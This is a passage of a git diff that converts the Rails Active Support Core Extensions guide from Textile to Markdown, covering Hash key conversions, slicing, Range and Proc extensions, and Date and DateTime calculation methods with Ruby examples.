conversions. For instance +stringify_keys+ and +symbolize_keys+ use +transform_keys+ to perform their key conversions: +This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions: -<ruby> +```ruby def stringify_keys transform_keys{ |key| key.to_s } end @@ -2706,188 +2718,189 @@ end def symbolize_keys transform_keys{ |key| key.to_sym rescue key } end -</ruby> +``` -There's also the bang variant +transform_keys!+ that applies the block operations to keys in the very receiver. +There's also the bang variant `transform_keys!` that applies the block operations to keys in the very receiver. -Besides that, one can use +deep_transform_keys+ and +deep_transform_keys!+ to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is: +Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is: -<ruby> +```ruby {nil => nil, 1 => 1, :nested => {:a => 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase } # => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}} -</ruby> +``` -NOTE: Defined in +active_support/core_ext/hash/keys.rb+. +NOTE: Defined in `active_support/core_ext/hash/keys.rb`. -h5. +stringify_keys+ and +stringify_keys!+ +#### `stringify_keys` and `stringify_keys!` -The method +stringify_keys+ returns a hash that has a stringified version of the keys in the receiver. It does so by sending +to_s+ to them: +The method `stringify_keys` returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them: -<ruby> +```ruby {nil => nil, 1 => 1, :a => :a}.stringify_keys # => {"" => nil, "a" => :a, "1" => 1} -</ruby> +``` The result in case of collision is undefined: -<ruby> +```ruby {"a" => 1, :a => 2}.stringify_keys # => {"a" => 2}, in my test, can't rely on this result though -</ruby> +``` -This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionView::Helpers::FormHelper+ defines: +This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines: -<ruby> +```ruby def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0") options = options.stringify_keys options["type"] = "checkbox" ... end -</ruby> +``` -The second line can safely access the "type" key, and let the user to pass either +:type+ or "type". +The second line can safely access the "type" key, and let the user to pass either `:type` or "type". -There's also the bang variant +stringify_keys!+ that stringifies keys in the very receiver. +There's also the bang variant `stringify_keys!` that stringifies keys in the very receiver. -Besides that, one can use +deep_stringify_keys+ and +deep_stringify_keys!+ to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is: +Besides that, one can use `deep_stringify_keys` and `deep_stringify_keys!` to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is: -<ruby> +```ruby {nil => nil, 1 => 1, :nested => {:a => 3, 5 => 5}}.deep_stringify_keys # => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}} -</ruby> +``` -NOTE: Defined in +active_support/core_ext/hash/keys.rb+. +NOTE: Defined in `active_support/core_ext/hash/keys.rb`. -h5. +symbolize_keys+ and +symbolize_keys!+ +#### `symbolize_keys` and `symbolize_keys!` -The method +symbolize_keys+ returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending +to_sym+ to them: +The method `symbolize_keys` returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them: -<ruby> +```ruby {nil => nil, 1 => 1, "a" => "a"}.symbolize_keys # => {1 => 1, nil => nil, :a => "a"} -</ruby> +``` WARNING. Note in the previous example only one key was symbolized. The result in case of collision is undefined: -<ruby> +```ruby {"a" => 1, :a => 2}.symbolize_keys # => {:a => 2}, in my test, can't rely on this result though -</ruby> +``` -This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionController::UrlRewriter+ defines +This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines -<ruby> +```ruby def rewrite_path(options) options = options.symbolize_keys options.update(options[:params].symbolize_keys) if options[:params] ... end -</ruby> +``` -The second line can safely access the +:params+ key, and let the user to pass either +:params+ or "params". +The second line can safely access the `:params` key, and let the user to pass either `:params` or "params". -There's also the bang variant +symbolize_keys!+ that symbolizes keys in the very receiver. +There's also the bang variant `symbolize_keys!` that symbolizes keys in the very receiver. -Besides that, one can use +deep_symbolize_keys+ and +deep_symbolize_keys!+ to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is: +Besides that, one can use `deep_symbolize_keys` and `deep_symbolize_keys!` to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is: -<ruby> +```ruby {nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys # => {nil=>nil, 1=>1, :nested=>{:a=>3, 5=>5}} -</ruby> +``` -NOTE: Defined in +active_support/core_ext/hash/keys.rb+. +NOTE: Defined in `active_support/core_ext/hash/keys.rb`. -h5. +to_options+ and +to_options!+ +#### `to_options` and `to_options!` -The methods +to_options+ and +to_options!+ are respectively aliases of +symbolize_keys+ and +symbolize_keys!+. +The methods `to_options` and `to_options!` are respectively aliases of `symbolize_keys` and `symbolize_keys!`. -NOTE: Defined in +active_support/core_ext/hash/keys.rb+. +NOTE: Defined in `active_support/core_ext/hash/keys.rb`. -h5. +assert_valid_keys+ +#### `assert_valid_keys` -The method +assert_valid_keys+ receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does +ArgumentError+ is raised. +The method `assert_valid_keys` receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does `ArgumentError` is raised. -<ruby> +```ruby {:a => 1}.assert_valid_keys(:a) # passes {:a => 1}.assert_valid_keys("a") # ArgumentError -</ruby> +``` -Active Record does not accept unknown options when building associations, for example. It implements that control via +assert_valid_keys+. +Active Record does not accept unknown options when building associations, for example. It implements that control via `assert_valid_keys`. -NOTE: Defined in +active_support/core_ext/hash/keys.rb+. +NOTE: Defined in `active_support/core_ext/hash/keys.rb`. -h4. Slicing +### Slicing Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes: -<ruby> +```ruby {:a => 1, :b => 2, :c => 3}.slice(:a, :c) # => {:c => 3, :a => 1} {:a => 1, :b => 2, :c => 3}.slice(:b, :X) # => {:b => 2} # non-existing keys are ignored -</ruby> +``` -If the receiver responds to +convert_key+ keys are normalized: +If the receiver responds to `convert_key` keys are normalized: -<ruby> +```ruby {:a => 1, :b => 2}.with_indifferent_access.slice("a") # => {:a => 1} -</ruby> +``` NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys. -There's also +slice!+ which in addition to perform a slice in place returns what's removed: +There's also `slice!` which in addition to perform a slice in place returns what's removed: -<ruby> +```ruby hash = {:a => 1, :b => 2} rest = hash.slice!(:a) # => {:b => 2} hash # => {:a => 1} -</ruby> +``` -NOTE: Defined in +active_support/core_ext/hash/slice.rb+. +NOTE: Defined in `active_support/core_ext/hash/slice.rb`. -h4. Extracting +### Extracting -The method +extract!+ removes and returns the key/value pairs matching the given keys. +The method `extract!` removes and returns the key/value pairs matching the given keys. -<ruby> +```ruby hash = {:a => 1, :b => 2} rest = hash.extract!(:a) # => {:a => 1} hash # => {:b => 2} -</ruby> +``` -NOTE: Defined in +active_support/core_ext/hash/slice.rb+. +NOTE: Defined in `active_support/core_ext/hash/slice.rb`. -h4. Indifferent Access +### Indifferent Access -The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver: +The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndifferentAccess` out of its receiver: -<ruby> +```ruby {:a => 1}.with_indifferent_access["a"] # => 1 -</ruby> +``` -NOTE: Defined in +active_support/core_ext/hash/indifferent_access.rb+. +NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`. -h3. Extensions to +Regexp+ +Extensions to `Regexp` +---------------------- -h4. +multiline?+ +### `multiline?` -The method +multiline?+ says whether a regexp has the +/m+ flag set, that is, whether the dot matches newlines. +The method `multiline?` says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines. -<ruby> +```ruby %r{.}.multiline? # => false %r{.}m.multiline? # => true Regexp.new('.').multiline? # => false Regexp.new('.', Regexp::MULTILINE).multiline? # => true -</ruby> +``` Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint. -<ruby> +```ruby def assign_route_options(segments, defaults, requirements) ... if requirement.multiline? @@ -2895,39 +2908,40 @@ def assign_route_options(segments, defaults, requirements) end ... end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/regexp.rb+. +NOTE: Defined in `active_support/core_ext/regexp.rb`. -h3. Extensions to +Range+ +Extensions to `Range` +--------------------- -h4. +to_s+ +### `to_s` -Active Support extends the method +Range#to_s+ so that it understands an optional format argument. As of this writing the only supported non-default format is +:db+: +Active Support extends the method `Range#to_s` so that it understands an optional format argument. As of this writing the only supported non-default format is `:db`: -<ruby> +```ruby (Date.today..Date.tomorrow).to_s # => "2009-10-25..2009-10-26" (Date.today..Date.tomorrow).to_s(:db) # => "BETWEEN '2009-10-25' AND '2009-10-26'" -</ruby> +``` -As the example depicts, the +:db+ format generates a +BETWEEN+ SQL clause. That is used by Active Record in its support for range values in conditions. +As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That is used by Active Record in its support for range values in conditions. -NOTE: Defined in +active_support/core_ext/range/conversions.rb+. +NOTE: Defined in `active_support/core_ext/range/conversions.rb`. -h4. +include?+ +### `include?` -The methods +Range#include?+ and +Range#===+ say whether some value falls between the ends of a given instance: +The methods `Range#include?` and `Range#===` say whether some value falls between the ends of a given instance: -<ruby> +```ruby (2..3).include?(Math::E) # => true -</ruby> +``` Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves: -<ruby> +```ruby (1..10).include?(3..7) # => true (1..10).include?(0..7) # => false (1..10).include?(3..11) # => false @@ -2937,52 +2951,53 @@ Active Support extends these methods so that the argument may be another range i (1..10) === (0..7) # => false (1..10) === (3..11) # => false (1...9) === (3..9) # => false -</ruby> +``` -NOTE: Defined in +active_support/core_ext/range/include_range.rb+. +NOTE: Defined in `active_support/core_ext/range/include_range.rb`. -h4. +overlaps?+ +### `overlaps?` -The method +Range#overlaps?+ says whether any two given ranges have non-void intersection: +The method `Range#overlaps?` says whether any two given ranges have non-void intersection: -<ruby> +```ruby (1..10).overlaps?(7..11) # => true (1..10).overlaps?(0..7) # => true (1..10).overlaps?(11..27) # => false -</ruby> +``` -NOTE: Defined in +active_support/core_ext/range/overlaps.rb+. +NOTE: Defined in `active_support/core_ext/range/overlaps.rb`. -h3. Extensions to +Proc+ +Extensions to `Proc` +-------------------- -h4. +bind+ +### `bind` -As you surely know Ruby has an +UnboundMethod+ class whose instances are methods that belong to the limbo of methods without a self. The method +Module#instance_method+ returns an unbound method for example: +As you surely know Ruby has an `UnboundMethod` class whose instances are methods that belong to the limbo of methods without a self. The method `Module#instance_method` returns an unbound method for example: -<ruby> +```ruby Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete> -</ruby> +``` -An unbound method is not callable as is, you need to bind it first to an object with +bind+: +An unbound method is not callable as is, you need to bind it first to an object with `bind`: -<ruby> +```ruby clear = Hash.instance_method(:clear) clear.bind({:a => 1}).call # => {} -</ruby> +``` -Active Support defines +Proc#bind+ with an analogous purpose: +Active Support defines `Proc#bind` with an analogous purpose: -<ruby> +```ruby Proc.new { size }.bind([]).call # => 0 -</ruby> +``` -As you see that's callable and bound to the argument, the return value is indeed a +Method+. +As you see that's callable and bound to the argument, the return value is indeed a `Method`. -NOTE: To do so +Proc#bind+ actually creates a method under the hood. If you ever see a method with a weird name like +__bind_1256598120_237302+ in a stack trace you know now where it comes from. +NOTE: To do so `Proc#bind` actually creates a method under the hood. If you ever see a method with a weird name like `__bind_1256598120_237302` in a stack trace you know now where it comes from. -Action Pack uses this trick in +rescue_from+ for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by +handler_for_rescue+, thus simplifying the code in the caller: +Action Pack uses this trick in `rescue_from` for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by `handler_for_rescue`, thus simplifying the code in the caller: -<ruby> +```ruby def handler_for_rescue(exception) _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler| ... @@ -2995,358 +3010,360 @@ def handler_for_rescue(exception) rescuer.bind(self) end end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/proc.rb+. +NOTE: Defined in `active_support/core_ext/proc.rb`. -h3. Extensions to +Date+ +Extensions to `Date` +-------------------- -h4. Calculations +### Calculations -NOTE: All the following methods are defined in +active_support/core_ext/date/calculations.rb+. +NOTE: All the following methods are defined in `active_support/core_ext/date/calculations.rb`. -INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, +Date.new(1582, 10, 4).tomorrow+ returns +Date.new(1582, 10, 15)+ and so on. Please check +test/core_ext/date_ext_test.rb+ in the Active Support test suite for expected behavior. +INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior. -h5. +Date.current+ +#### `Date.current` -Active Support defines +Date.current+ to be today in the current time zone. That's like +Date.today+, except that it honors the user time zone, if defined. It also defines +Date.yesterday+ and +Date.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Date.current+. +Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Date.current`. -When making Date comparisons using methods which honor the user time zone, make sure to use +Date.current+ and not +Date.today+. There are cases where the user time zone might be in the future compared to the system time zone, which +Date.today+ uses by default. This means +Date.today+ may equal +Date.yesterday+. +When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`. -h5. Named dates +#### Named dates -h6. +prev_year+, +next_year+ +##### `prev_year`, `next_year` -In Ruby 1.9 +prev_year+ and +next_year+ return a date with the same day/month in the last or next year: +In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year: -<ruby> +```ruby d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 d.prev_year # => Fri, 08 May 2009 d.next_year # => Sun, 08 May 2011 -</ruby> +``` If date is the 29th of February of a leap year, you obtain the 28th: -<ruby> +```ruby d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000 d.prev_year # => Sun, 28 Feb 1999 d.next_year # => Wed, 28 Feb 2001 -</ruby> +``` -+prev_year+ is aliased to +last_year+. +`prev_year` is aliased to `last_year`. -h6. +prev_month+, +next_month+ +##### `prev_month`, `next_month` -In Ruby 1.9 +prev_month+ and +next_month+ return the date with the same day in the last or next month: +In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month: -<ruby> +```ruby d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 d.prev_month # => Thu, 08 Apr 2010 d.next_month # => Tue, 08 Jun 2010 -</ruby> +``` If such a day does not exist, the last day of the corresponding month is returned: -<ruby> +```ruby Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000 Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000 Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000 Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000 -</ruby> +``` -+prev_month+ is aliased to +last_month+. +`prev_month` is aliased to `last_month`. -h6. +prev_quarter+, +next_quarter+ +##### `prev_quarter`, `next_quarter` -Same as +prev_month+ and +next_month+. It returns the date with the same day in the previous or next quarter: +Same as `prev_month` and `next_month`. It returns the date with the same day in the previous or next quarter: -<ruby> +```ruby t = Time.local(2010, 5, 8) # => Sat, 08 May 2010 t.prev_quarter # => Mon, 08 Feb 2010 t.next_quarter # => Sun, 08 Aug 2010 -</ruby> +``` If such a day does not exist, the last day of the corresponding month is returned: -<ruby> +```ruby Time.local(2000, 7, 31).prev_quarter # => Sun, 30 Apr 2000 Time.local(2000, 5, 31).prev_quarter # => Tue, 29 Feb 2000 Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000 Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001 -</ruby> +``` -+prev_quarter+ is aliased to +last_quarter+. +`prev_quarter` is aliased to `last_quarter`. -h6. +beginning_of_week+, +end_of_week+ +##### `beginning_of_week`, `end_of_week` -The methods +beginning_of_week+ and +end_of_week+ return the dates for the +The methods `beginning_of_week` and `end_of_week` return the dates for the beginning and end of the week, respectively. Weeks are assumed to start on Monday, but that can be changed passing an argument. -<ruby> +```ruby d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 d.beginning_of_week # => Mon, 03 May 2010 d.beginning_of_week(:sunday) # => Sun, 02 May 2010 d.end_of_week # => Sun, 09 May 2010 d.end_of_week(:sunday) # => Sat, 08 May 2010 -</ruby> +``` -+beginning_of_week+ is aliased to +at_beginning_of_week+ and +end_of_week+ is aliased to +at_end_of_week+. +`beginning_of_week` is aliased to `at_beginning_of_week` and `end_of_week` is aliased to `at_end_of_week`. -h6. +monday+, +sunday+ +##### `monday`, `sunday` -The methods +monday+ and +sunday+ return the dates for the beginning and +The methods `monday` and `sunday` return the dates for the beginning and end of the week, respectively. Weeks are assumed to start on Monday. -<ruby> +```ruby d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 d.monday # => Mon, 03 May 2010 d.sunday # => Sun, 09 May 2010 -</ruby> +``` -h6. +prev_week+, +next_week+ +##### `prev_week`, `next_week` -The method +next_week+ receives a symbol with a day name in English (in lowercase, default is +:monday+) and it returns the date corresponding to that day: +The method `next_week` receives a symbol with a day name in English (in lowercase, default is `:monday`) and it returns the date corresponding to that day: -<ruby> +```ruby d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 d.next_week # => Mon, 10 May 2010 d.next_week(:saturday) # => Sat, 15 May 2010 -</ruby> +``` -The method +prev_week+ is analogous: +The method `prev_week` is analogous: -<ruby> +```ruby d.prev_week # => Mon, 26 Apr 2010 d.prev_week(:saturday) # => Sat, 01 May 2010 d.prev_week(:friday) # => Fri, 30 Apr 2010 -</ruby> +``` -+prev_week+ is aliased to +last_week+. +`prev_week` is aliased to `last_week`. -h6. +beginning_of_month+, +end_of_month+ +##### `beginning_of_month`, `end_of_month` -The methods +beginning_of_month+ and +end_of_month+ return the dates for the beginning and end of the month: +The methods `beginning_of_month` and `end_of_month` return the dates for the beginning and end of the month: -<ruby> +```ruby d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 d.beginning_of_month # => Sat, 01 May 2010 d.end_of_month # => Mon, 31 May 2010 -</ruby> +``` -+beginning_of_month+ is aliased to +at_beginning_of_month+, and +end_of_month+ is aliased to +at_end_of_month+. +`beginning_of_month` is aliased to `at_beginning_of_month`, and `end_of_month` is aliased to `at_end_of_month`. -h6. +beginning_of_quarter+, +end_of_quarter+ +##### `beginning_of_quarter`, `end_of_quarter` -The methods +beginning_of_quarter+ and +end_of_quarter+ return the dates for the beginning and end of the quarter of the receiver's calendar year: +The methods `beginning_of_quarter` and `end_of_quarter` return the dates for the beginning and end of the quarter of the receiver's calendar year: -<ruby> +```ruby d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 d.beginning_of_quarter # => Thu, 01 Apr 2010 d.end_of_quarter # => Wed, 30 Jun 2010 -</ruby> +``` -+beginning_of_quarter+ is aliased to +at_beginning_of_quarter+, and +end_of_quarter+ is aliased to +at_end_of_quarter+. +`beginning_of_quarter` is aliased to `at_beginning_of_quarter`, and `end_of_quarter` is aliased to `at_end_of_quarter`. -h6. +beginning_of_year+, +end_of_year+ +##### `beginning_of_year`, `end_of_year` -The methods +beginning_of_year+ and +end_of_year+ return the dates for the beginning and end of the year: +The methods `beginning_of_year` and `end_of_year` return the dates for the beginning and end of the year: -<ruby> +```ruby d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 d.beginning_of_year # => Fri, 01 Jan 2010 d.end_of_year # => Fri, 31 Dec 2010 -</ruby> +``` -+beginning_of_year+ is aliased to +at_beginning_of_year+, and +end_of_year+ is aliased to +at_end_of_year+. +`beginning_of_year` is aliased to `at_beginning_of_year`, and `end_of_year` is aliased to `at_end_of_year`. -h5. Other Date Computations +#### Other Date Computations -h6. +years_ago+, +years_since+ +##### `years_ago`, `years_since` -The method +years_ago+ receives a number of years and returns the same date those many years ago: +The method `years_ago` receives a number of years and returns the same date those many years ago: -<ruby> +```ruby date = Date.new(2010, 6, 7) date.years_ago(10) # => Wed, 07 Jun 2000 -</ruby> +``` -+years_since+ moves forward in time: +`years_since` moves forward in time: -<ruby> +```ruby date = Date.new(2010, 6, 7) date.years_since(10) # => Sun, 07 Jun 2020 -</ruby> +``` If such a day does not exist, the last day of the corresponding month is returned: -<ruby> +```ruby Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009 Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015 -</ruby> +``` -h6. +months_ago+, +months_since+ +##### `months_ago`, `months_since` -The methods +months_ago+ and +months_since+ work analogously for months: +The methods `months_ago` and `months_since` work analogously for months: -<ruby> +```ruby Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010 Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010 -</ruby> +``` If such a day does not exist, the last day of the corresponding month is returned: -<ruby> +```ruby Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010 Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010 -</ruby> +``` -h6. +weeks_ago+ +##### `weeks_ago` -The method +weeks_ago+ works analogously for weeks: +The method `weeks_ago` works analogously for weeks: -<ruby> +```ruby Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010 Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010 -</ruby> +``` -h6. +advance+ +##### `advance` -The most generic way to jump to other days is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, and returns a date advanced as much as the present keys indicate: +The most generic way to jump to other days is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate: -<ruby> +```ruby date = Date.new(2010, 6, 6) date.advance(:years => 1, :weeks => 2) # => Mon, 20 Jun 2011 date.advance(:months => 2, :days => -2) # => Wed, 04 Aug 2010 -</ruby> +``` Note in the previous example that increments may be negative. To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward. -The method +advance+ advances first one month, and then one day, the result is: +The method `advance` advances first one month, and then one day, the result is: -<ruby> +```ruby Date.new(2010, 2, 28).advance(:months => 1, :days => 1) # => Sun, 29 Mar 2010 -</ruby> +``` While if it did it the other way around the result would be different: -<ruby> +```ruby Date.new(2010, 2, 28).advance(:days => 1).advance(:months => 1) # => Thu, 01 Apr 2010 -</ruby> +``` -h5. Changing Components +#### Changing Components -The method +change+ allows you to get a new date which is the same as the receiver except for the given year, month, or day: +The method `change` allows you to get a new date which is the same as the receiver except for the given year, month, or day: -<ruby> +```ruby Date.new(2010, 12, 23).change(:year => 2011, :month => 11) # => Wed, 23 Nov 2011 -</ruby> +``` -This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised: +This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised: -<ruby> +```ruby Date.new(2010, 1, 31).change(:month => 2) # => ArgumentError: invalid date -</ruby> +``` -h5(#date-durations). Durations +#### Durations Durations can be added to and subtracted from dates: -<ruby> +```ruby d = Date.current # => Mon, 09 Aug 2010 d + 1.year # => Tue, 09 Aug 2011 d - 3.hours # => Sun, 08 Aug 2010 21:00:00 UTC +00:00 -</ruby> +``` -They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform: +They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform: -<ruby> +```ruby Date.new(1582, 10, 4) + 1.day # => Fri, 15 Oct 1582 -</ruby> +``` -h5. Timestamps +#### Timestamps -INFO: The following methods return a +Time+ object if possible, otherwise a +DateTime+. If set, they honor the user time zone. +INFO: The following methods return a `Time` object if possible, otherwise a `DateTime`. If set, they honor the user time zone. -h6. +beginning_of_day+, +end_of_day+ +##### `beginning_of_day`, `end_of_day` -The method +beginning_of_day+ returns a timestamp at the beginning of the day (00:00:00): +The method `beginning_of_day` returns a timestamp at the beginning of the day (00:00:00): -<ruby> +```ruby date = Date.new(2010, 6, 7) date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010 -</ruby> +``` -The method +end_of_day+ returns a timestamp at the end of the day (23:59:59): +The method `end_of_day` returns a timestamp at the end of the day (23:59:59): -<ruby> +```ruby date = Date.new(2010, 6, 7) date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010 -</ruby> +``` -+beginning_of_day+ is aliased to +at_beginning_of_day+, +midnight+, +at_midnight+. +`beginning_of_day` is aliased to `at_beginning_of_day`, `midnight`, `at_midnight`. -h6. +beginning_of_hour+, +end_of_hour+ +##### `beginning_of_hour`, `end_of_hour` -The method +beginning_of_hour+ returns a timestamp at the beginning of the hour (hh:00:00): +The method `beginning_of_hour` returns a timestamp at the beginning of the hour (hh:00:00): -<ruby> +```ruby date = DateTime.new(2010, 6, 7, 19, 55, 25) date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010 -</ruby> +``` -The method +end_of_hour+ returns a timestamp at the end of the hour (hh:59:59): +The method `end_of_hour` returns a timestamp at the end of the hour (hh:59:59): -<ruby> +```ruby date = DateTime.new(2010, 6, 7, 19, 55, 25) date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010 -</ruby> +``` -+beginning_of_hour+ is aliased to +at_beginning_of_hour+. +`beginning_of_hour` is aliased to `at_beginning_of_hour`. -INFO: +beginning_of_hour+ and +end_of_hour+ are implemented for +Time+ and +DateTime+ but *not* +Date+ as it does not make sense to request the beginning or end of an hour on a +Date+ instance. +INFO: `beginning_of_hour` and `end_of_hour` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour on a `Date` instance. -h6. +ago+, +since+ +##### `ago`, `since` -The method +ago+ receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight: +The method `ago` receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight: -<ruby> +```ruby date = Date.current # => Fri, 11 Jun 2010 date.ago(1) # => Thu, 10 Jun 2010 23:59:59 EDT -04:00 -</ruby> +``` -Similarly, +since+ moves forward: +Similarly, `since` moves forward: -<ruby> +```ruby date = Date.current # => Fri, 11 Jun 2010 date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00 -</ruby> +``` -h5. Other Time Computations +#### Other Time Computations -h4(#date-conversions). Conversions +### Conversions -h3. Extensions to +DateTime+ +Extensions to `DateTime` +------------------------ -WARNING: +DateTime+ is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example +seconds_since_midnight+ might not return the real amount in such a day. +WARNING: `DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example `seconds_since_midnight` might not return the real amount in such a day. -h4(#calculations-datetime). Calculations +### Calculations -NOTE: All the following methods are defined in +active_support/core_ext/date_time/calculations.rb+. +NOTE: All the following methods are defined in `active_support/core_ext/date_time/calculations.rb`. -The class +DateTime+ is a subclass of +Date+ so by loading +active_support/core_ext/date/calculations.rb+ you inherit these methods and their aliases, except that they will always return datetimes: +The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes: -<ruby> +```ruby yesterday tomorrow beginning_of_week (at_beginning_of_week) @@ -3370,156 +3387,157 @@ years_ago years_since prev_year (last_year) next_year -</ruby> +``` -The following methods are reimplemented so you do *not* need to load +active_support/core_ext/date/calculations.rb+ for these ones: +The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones: -<ruby> +```ruby beginning_of_day (midnight, at_midnight, at_beginning_of_day) end_of_day ago since (in) -</ruby> +``` -On the other hand, +advance+ and +change+ are also defined and support more options, they are documented below. +On the other hand, `advance` and `change` are also defined and support more options, they are documented below. -The following methods are only implemented in +active_support/core_ext/date_time/calculations.rb+ as they only make sense when used with a +DateTime+ instance: +The following methods are only implemented in `active_support/core_ext/date_time/calculations.rb` as they only make sense when used with a `DateTime` instance: -<ruby> +```ruby beginning_of_hour (at_beginning_of_hour) end_of_hour -</ruby> +``` -h5. Named Datetimes +#### Named Datetimes -h6. +DateTime.current+ +##### `DateTime.current` -Active Support defines +DateTime.current+ to be like +Time.now.to_datetime+, except that it honors the user time zone, if defined. It also defines +DateTime.yesterday+ and +DateTime.tomorrow+, and the instance predicates +past?+, and +future?+ relative to +DateTime.current+. +Active Support defines `DateTime.current` to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. It also defines `DateTime.yesterday` and `DateTime.tomorrow`, and the instance predicates `past?`, and `future?` relative to `DateTime.current`. -h5. Other Extensions +#### Other Extensions -h6. +seconds_since_midnight+ +##### `seconds_since_midnight` -The method +seconds_since_midnight+ returns the number of seconds since midnight: +The method `seconds_since_midnight` returns the number of seconds since midnight: -<ruby> +```ruby now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000 now.seconds_since_midnight # => 73596 -</ruby> +``` -h6(#utc-datetime). +utc+ +##### `utc` -The method +utc+ gives you the same datetime in the receiver expressed in UTC. +The method `utc` gives you the same datetime in the receiver expressed in UTC. -<ruby> +```ruby now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400 now.utc # => Mon, 07 Jun 2010 23:27:52 +0000 